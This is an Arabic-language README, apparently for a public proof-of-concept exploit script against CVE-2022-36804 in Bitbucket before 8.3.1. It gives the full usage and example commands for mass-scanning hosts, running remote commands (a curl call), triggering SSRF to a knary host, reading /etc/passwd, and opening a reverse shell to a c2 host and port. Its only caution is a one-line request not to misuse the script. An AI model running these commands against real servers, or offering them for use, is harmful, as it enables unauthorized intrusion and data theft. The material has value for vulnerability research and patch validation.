
نص برمجي متعدد الخيوط لاستغلال CVE-2022-36804 الذي يؤثر على إصدارات BitBucket <8.3.1
سكربت استغلال متعدد الخيوط لـ CVE-2022-36804 الذي يؤثر على (معظم) إصدارات BitBucket <8.3.1 اطلع على النشرة الكاملة هنا https://jira.atlassian.com/browse/BSERV-13438
كل الفضل يعود إلى TheGrandPew لاكتشافه
سيكتشف السكربت تلقائيًا المستودعات العامة الموجودة على خوادم bitbucket ثم يختار مستودعًا عشوائيًا لفحصه أو تنفيذ الثغرة عليه. إذا لم تكن هناك مستودعات عامة، يلزم وجود كوكي 'BITBUCKETSESSIONID' صالحة لاستغلال الخوادم المعروفة بأنها معرضة للخطر.
صُمم الـ PoC لقبول عدة مضيفات في الإدخال وتمرير المضيفات المعرضة للخطر إلى stdout مما يسمح بتمرير النتائج لمعالجتها بواسطة أدوات أخرى.
لا تستخدمه لأغراض ضارة.
usage: CVE-2022-36804.py [-h] [--auth-cookie AUTH_COOKIE] [--proxy PROXY] [-e {check,rce,ssrf,download,rev_shell}] [--cmd CMD] [--knary KNARY] [--server-file SERVER_FILE] [--host HOST] [--port PORT]
[--skip-check] [-t THREADS] [-v]
repos [repos ...]
CVE-2022-36804 Exploit Script for BitBucket versions < 8.3.1
optional arguments:
-h, --help show this help message and exit
required arguments:
repos Repository host/s (http://bitbucket.example.com:7990) (or single input file "./targets.txt" of target hosts) to perfrom CVE-2022-36804 on
optional arguments:
--auth-cookie AUTH_COOKIE
Authentication cookie 'BITBUCKETSESSIONID' value for private repositories
--proxy PROXY HTTP Proxy: <http/https>://<ip>:<port>
-e {check,rce,ssrf,download,rev_shell}, --exploit {check,rce,ssrf,download,rev_shell}
Exploit to perform
--cmd CMD Command to execute for the 'rce' exploit (curl http://example.com)
--knary KNARY Knary to respond too via DNS for the 'ssrf' exploit
--server-file SERVER_FILE
Server file to download for the 'download' exploit (/etc/passwd)
--host HOST Hostname or IP address of c2 for the 'rev_shell' exploit
--port PORT Port of the c2 for the 'rev_shell' exploit
--skip-check Skip vulnerability checking stage
-t THREADS, --threads THREADS
Worker Threads
-v, --verbose Increase output verbosity level
مضيف واحد
CVE-2022-36804.py http://bitbucket.local:7990/مضيفات متعددة وتمرير المضيفات المعرضة للخطر والمستودعات المستغلة إلى ملف
CVE-2022-36804.py ./bitbucket-hosts.txt > vulnerable-hosts
CVE-2022-36804.py -e rce --cmd "curl http://example.com/" http://bitbucket.local:7990/
إرسال طلب DNS إلى الـ knary المحدد
CVE-2022-36804.py -e ssrf --knary http://knary.example.com http://bitbucket.local:7990/
تنزيل مستودع مع ملف الهدف
/etc/passwd، سيقوم هذا بحفظ المستودع المضغوط في اسم ملف عشوائي.
CVE-2022-36804.py -e download --server-file /etc/passwd http://bitbucket.local:7990/
CVE-2022-36804.py -e rev_shell --host 127.0.0.1 --port 31337 http://bitbucket.local:7990/